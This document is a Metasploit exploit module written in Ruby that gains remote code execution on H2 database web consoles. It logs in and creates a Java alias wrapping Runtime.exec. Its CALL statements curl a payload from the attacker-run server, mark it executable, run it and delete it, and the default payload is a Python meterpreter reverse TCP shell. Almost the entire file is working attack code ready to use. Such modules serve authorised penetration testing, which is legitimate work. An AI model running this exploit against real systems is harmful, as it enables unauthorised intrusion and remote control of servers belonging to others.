##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'H2 Web Interface Create Alias RCE',
'Description' => %q{
The H2 database contains an alias function which allows for arbitrary Java code to be used.
This functionality can be abused to create an exec functionality to pull our payload down
and execute it. H2's web interface contains restricts MANY characters, so injecting a payload
directly is not favorable. A valid database connection is required. If the database engine
was configured to allow creation of databases, the module default can be used which
utilizes an in memory database. Some Docker instances of H2 don't allow writing to
folders such as /tmp, so we default to writing to the working directory of the software.
This module was tested against H2 version 2.1.214, 2.0.204, 1.4.199 (version detection fails)
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'gambler', # edb 44422
'h4ckNinja', # edb 45506
'Nairuz Abulhul' # medium write-up
],
'References' => [
[ 'EDB', '44422'],
[ 'EDB', '45506'],
[ 'URL', 'https://medium.com/r3d-buck3t/chaining-h2-database-vulnerabilities-for-rce-9b535a9621a2'],
[ 'URL', 'https://www.h2database.com/html/commands.html#create_alias']
],
'Stance' => Stance::Aggressive,
'Platform' => 'unix',
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Payload' => {
# likely more, these aren't really used now that we go with a curl
# to retrieve our payload, but leaving here for future travelers
'BadChars' => '"<>;|`\\'
},
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2018-04-09', # first EDB link, prob older since this seems to be a 'feature'
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'NOCVE' => ['abusing a feature']
}
)
)
register_options(
[
Opt::RPORT(8082),
OptString.new('USERNAME', [ true, 'User to login with', '']),
OptString.new('PASSWORD', [ true, 'Password to login with', '']),
OptString.new('DATABASE', [ true, 'Database to use', 'jdbc:h2:mem:']),
OptString.new('TARGETURI', [ true, 'The URI of the H2 web interface', '/']),
OptBool.new('GETVERSION', [ true, 'Get the version of the database before exploiting', true])
]
)
end
def get_jsessionid
vprint_status('Obtaining jsessionid (cookie equivalent)')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login.jsp'),
'method' => 'GET'
)
return nil if res.nil?
return nil unless res.code == 200
if res.body =~ /location.href = 'login\.jsp\?jsessionid=([^']+)';/
vprint_good("jsessionid (cookie equivalent): #{Regexp.last_match(1)}")
return Regexp.last_match(1)
else
return nil
end
end
def login(check_only: false)
page = 'login.do'
if check_only
page = 'test.do'
end
send_request_cgi({
'uri' => normalize_uri(target_uri.path, page),
'method' => 'POST',
'vars_get' => {
'jsessionid' => @jsessionid
},
'vars_post' => {
'language' => 'en',
'setting' => 'Generic+H2+%28Server%29',
'name' => 'Generic+H2+%28Server%29',
'driver' => 'org.h2.Driver',
'url' => datastore['DATABASE'],
'user' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
end
def check
@jsessionid = get_jsessionid
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login.jsp'),
'method' => 'GET',
'vars_get' => {
'jsessionid' => @jsessionid
}
})
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
return CheckCode::Unknown("#{peer} - H2 web interface not found") unless res.body.include? '<title>H2 Console</title>'
print_status("Detected autofilled DB: #{Regexp.last_match(1)}") if res.body =~ /<td class="login"><input type="text" name="url" value="([^"]+)"/
print_status("Detected autofilled Username: #{Regexp.last_match(1)}") if res.body =~ /<td class="login"><input type="text" name="user" value="([^"]+)"/
res = login(check_only: true)
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
return CheckCode::Vulnerable("#{peer} - H2 web interface found, and database connection successful") if res.body.include? 'Test successful'
CheckCode::Safe("#{peer} - H2 web interface found, however database connection NOT successful")
end
def send_command(command)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'query.do'),
'method' => 'POST',
'vars_get' => {
'jsessionid' => @jsessionid
},
'vars_post' => {
'sql' => command
}
})
return nil if res.nil?
return nil if res.code != 200
res.body
end
def get_version
version = send_command('SELECT H2VERSION() FROM DUAL;')
# regex likely to break on version upgrades unfortunately
if version =~ %r{<table class="resultSet" cellspacing="0" cellpadding="0"><tr><th>H2VERSION\(\)</th></tr><tr><td>([^<]+)</td></tr></table>}
print_good("H2 Version detected: #{Regexp.last_match(1)}")
return
end
print_error('Unable to detect version')
end
def on_request_uri(cli, _request)
print_good('Received payload request')
send_response(cli, payload.encoded)
end
def exploit
@jsessionid ||= get_jsessionid
res = login
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
if datastore['GETVERSION']
get_version
end
start_service
alias_name = Rex::Text.rand_text_alpha_upper(6..12)
alias_function = %|CREATE ALIAS #{alias_name} AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }$$;|
# escape single quotes with double single quotes, http://www.h2database.com/html/grammar.html
payload_name = "#{Rex::Text.rand_text_alphanumeric(6..10)}.sh"
vprint_status("Saving payload as #{payload_name}")
run_alias = "CALL #{alias_name}('curl #{get_uri} -o #{payload_name}');
CALL #{alias_name}('chmod a+x #{payload_name}');
CALL #{alias_name}('./#{payload_name} &');
CALL #{alias_name}('rm -rf #{payload_name}');"
delete_alias = "DROP ALIAS #{alias_name};"
print_status('Attempting to execute payload retrieval')
send_command("#{alias_function} #{run_alias} #{delete_alias}")
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
